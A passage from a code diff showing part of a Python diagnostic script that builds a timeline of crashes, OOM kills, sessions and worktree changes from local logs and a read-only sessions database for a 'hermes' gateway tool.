||||
# --- gateway-shutdown-diag.log : SIGTERM dump headers -----------------------
|
||||
lines = read_lines(os.path.join(LOGS, "gateway-shutdown-diag.log"))
|
||||
for i, line in enumerate(lines):
|
||||
if line.startswith("=== shutdown diagnostic"):
|
||||
for j in range(i, min(i + 4, len(lines))):
|
||||
mm = re.match(r"^(\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z)\s*$", lines[j])
|
||||
if mm:
|
||||
add(iso_any(mm.group(1)), "shutdown-diag",
|
||||
line.strip().strip("= ").strip())
|
||||
break
|
||||
|
||||
# --- journal files ----------------------------------------------------------
|
||||
JLINE = re.compile(r"^(\S+)\s+\S+\s+(.*)$")
|
||||
def journal(path, default_tag):
|
||||
for line in read_lines(path):
|
||||
m = JLINE.match(line)
|
||||
if not m:
|
||||
continue
|
||||
ep, msg = iso_any(m.group(1)), m.group(2)
|
||||
low = msg.lower()
|
||||
if "out of memory" in low or "oom-kill" in low or "oom killer" in low \
|
||||
or "invoked oom-killer" in low or "result 'oom-kill'" in low:
|
||||
tag = "oom"
|
||||
elif "suspend" in low or "hibernat" in low:
|
||||
tag = "sleep"
|
||||
else:
|
||||
tag = default_tag
|
||||
add(ep, tag, msg)
|
||||
|
||||
journal(os.path.join(TMP, "journal-user.txt"), "systemd")
|
||||
journal(os.path.join(TMP, "journal-kernel.txt"), "oom")
|
||||
for line in read_lines(os.path.join(TMP, "dmesg.txt")):
|
||||
m = re.match(r"^\[(\w{3} \w{3} +\d+ \d{2}:\d{2}:\d{2} \d{4})\]\s*(.*)$", line)
|
||||
if m:
|
||||
add(local_naive(re.sub(r" +", " ", m.group(1)), "%a %b %d %H:%M:%S %Y"),
|
||||
"oom", m.group(2))
|
||||
|
||||
# --- sessions DB ------------------------------------------------------------
|
||||
abnormal_sessions = []
|
||||
db = os.path.join(HOME, ".hermes", "state.db")
|
||||
try:
|
||||
con = sqlite3.connect(f"file:{db}?mode=ro", uri=True, timeout=5)
|
||||
rows = con.execute(
|
||||
"SELECT id, source, started_at, ended_at, end_reason, message_count "
|
||||
"FROM sessions WHERE source IN ('tui','cli') AND "
|
||||
"(started_at >= ? OR (ended_at IS NOT NULL AND ended_at >= ?)) "
|
||||
"ORDER BY started_at", (SINCE, SINCE)).fetchall()
|
||||
con.close()
|
||||
for sid, source, st, en, reason, mc in rows:
|
||||
add(st, "sessions", f"START {source} session={sid} messages={mc}")
|
||||
if en is not None:
|
||||
flag = "" if reason else " ABNORMAL(no end_reason)"
|
||||
add(en, "sessions",
|
||||
f"END {source} session={sid} reason={reason or 'NULL'} messages={mc}{flag}")
|
||||
if not reason:
|
||||
abnormal_sessions.append((sid, source, st, "ended, no end_reason"))
|
||||
else:
|
||||
add(st, "sessions",
|
||||
f"NOEND {source} session={sid} messages={mc} "
|
||||
f"ABNORMAL(no ended_at recorded — crashed parent or still running)")
|
||||
abnormal_sessions.append((sid, source, st, "no ended_at"))
|
||||
except sqlite3.Error as e:
|
||||
print(f"note: sessions DB unreadable: {e}", file=sys.stderr)
|
||||
|
||||
# --- worktrees: current list + dir mtimes -----------------------------------
|
||||
worktree_snapshot = open(os.path.join(TMP, "worktrees.txt"), errors="replace").read() \
|
||||
if os.path.exists(os.path.join(TMP, "worktrees.txt")) else ""
|
||||
wt_dirs = []
|
||||
for base in ([os.path.join(HOME, "github", d, ".worktrees")
|
||||
for d in (os.listdir(os.path.join(HOME, "github"))
|
||||
if os.path.isdir(os.path.join(HOME, "github")) else [])]
|
||||
+ [os.path.join(HOME, "github", "worktrees", d)
|
||||
for d in (os.listdir(os.path.join(HOME, "github", "worktrees"))
|
||||
if os.path.isdir(os.path.join(HOME, "github", "worktrees")) else [])]):
|
||||
if not os.path.isdir(base):
|
||||
continue
|
||||
for name in os.listdir(base):
|
||||
p = os.path.join(base, name)
|
||||
if os.path.isdir(p):
|
||||
try:
|
||||
mt = os.stat(p).st_mtime
|
||||
except OSError:
|
||||
continue
|
||||
wt_dirs.append((p, mt))
|
||||
add(mt, "worktree", f"last-modified {p} "
|
||||
f"(age {round((NOW - mt) / 3600, 1)}h)")
|
||||
|
||||
# --- process snapshot -------------------------------------------------------
|
||||
running = []
|
||||
PSLINE = re.compile(r"^\s*(\d+)\s+(\w{3} \w{3} +\d+ \d{2}:\d{2}:\d{2} \d{4})\s+(\d+)\s+(.*)$")
|
||||
for line in read_lines(os.path.join(TMP, "ps.txt")):
|
||||
m = PSLINE.match(line)
|
||||
if not m:
|
||||
continue
|
||||
pid, lstart, rss, args = m.groups()
|
||||
ep = local_naive(re.sub(r" +", " ", lstart), "%a %b %d %H:%M:%S %Y")
|
||||
running.append((pid, ep, int(rss), args))
|
||||
add(ep, "proc", f"STILL-RUNNING pid={pid} rss={int(rss)//1024}MB started-here: {args[:200]}")
|
||||
|
||||
# --- emit timeline ----------------------------------------------------------
|
||||
def iso(ep):
|
||||
return datetime.fromtimestamp(ep).astimezone().strftime("%Y-%m-%dT%H:%M:%S%z")
|
||||
|
||||
print(f"# forensics timeline since {os.environ['FORENSICS_SINCE_SPEC']!r} "
|
||||
f"({iso(SINCE)}) — generated {iso(NOW)}")
|
||||
print(f"# {len(events)} events\n")
|
||||
|
||||
events.sort(key=lambda e: e[0])
|
||||
prev = None
|
||||
dup = 0
|
||||
def flush(prev, dup):
|
||||
if prev is None:
|
||||
return
|
||||
suffix = f" (x{dup + 1})" if dup else ""
|
||||
print(f"{iso(prev[0])} [{prev[1]}] {prev[2]}{suffix}")
|
||||
for ev in events:
|
||||
if prev and ev[1] == prev[1] and ev[2] == prev[2] and ev[0] - prev[0] < 5:
|
||||
dup += 1
|
||||
continue
|
||||
flush(prev, dup)
|
||||
prev, dup = ev, 0
|
||||
flush(prev, dup)
|
||||
|
||||
# --- summary ----------------------------------------------------------------
|
||||
print("\n" + "=" * 72)
|
||||
print("SUMMARY")
|
||||
print("=" * 72)
|
||||
from collections import Counter
|
||||
by_tag = Counter(e[1] for e in events)
|
||||
for tag, n in by_tag.most_common():
|
||||
print(f" {n:6d} [{tag}]")
|
||||
|
||||
ooms = [e for e in events if e[1] == "oom" and "Killed process" in e[2]]
|
||||
print(f"\nOOM kernel kills in window: {len(ooms)}")
|
||||
for e in ooms:
|
||||
m = re.search(r"Killed process (\d+) \(([^)]+)\).*?anon-rss:(\d+)kB", e[2])
|
||||
if m:
|
||||
print(f" {iso(e[0])} pid={m.group(1)} comm={m.group(2)} anon-rss={int(m.group(3))//1024}MB")
|
||||
else:
|
||||
print(f" {iso(e[0])} {e[2][:140]}")
|
||||
|
||||
oomd = [e for e in events if e[1] == "oom" and "Killed process" not in e[2]
|
||||
and ("oom" in e[2].lower())]
|
||||
print(f"OOM-related systemd/unit notices: {len(oomd)}")
|
||||
|
||||
gexits = Counter()
|
||||
for e in events:
|
||||
if e[1] == "tui-crash" and e[2].startswith("gateway exit"):
|
||||
m = re.search(r"reason=(.*)$", e[2])
|
||||
gexits[m.group(1) if m else "?"] += 1
|
||||
print(f"\ntui_gateway exits by reason (tui_gateway_crash.log):")
|
||||
for r, n in gexits.most_common():
|
||||
print(f" {n:4d} {r}")
|
||||
|
||||
sigs = Counter(e[2].split(" received")[0] for e in events
|
||||
if e[1] == "tui-crash" and " received" in e[2])
|
||||
print(f"tui_gateway signals received: {dict(sigs) if sigs else 'none'}")
|
||||
|
||||
starts = sum(1 for e in events if e[1] == "exit-diag" and e[2].startswith("gateway.start"))
|
||||
nz = sum(1 for e in events if e[1] == "exit-diag" and "exit_nonzero" in e[2])
|
||||
print(f"\nplatform gateway (hermes-gateway.service): {starts} start(s), {nz} nonzero-exit(s) in window")
|
||||
|
||||
print(f"\nabnormal tui/cli sessions (no ended_at or no end_reason): {len(abnormal_sessions)}")
|
||||
for sid, source, st, why in abnormal_sessions[-20:]:
|
||||
print(f" {iso(st)} {source} {sid}: {why}")
|
||||
|
||||
sleeps = [e for e in events if e[1] == "sleep"]
|
||||
print(f"\nsuspend/hibernate events: {len(sleeps)}")
|
||||
|
||||
print(f"\ncurrently running TUI/gateway processes: {len(running)}")
|
||||
for pid, ep, rss, args in running:
|
||||
print(f" pid={pid} since={iso(ep) if ep else '?'} rss={rss//1024}MB {args[:120]}")
|
||||
|
||||
print(f"\ncurrent git worktrees (snapshot, not historical):")
|
||||
for line in worktree_snapshot.splitlines():
|
||||
print(f" {line}")
|
||||
print("\nNOTE: worktree DELETIONS leave no on-disk record; only surviving dirs are")
|
||||
print("listed. Prune suspects: cli.py _prune_stale_worktrees (24h/72h tiers) and")
|
||||
print("the atexit _cleanup_worktree hook (removes dirty worktrees w/o unpushed commits).")
|
||||
PYEOF
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user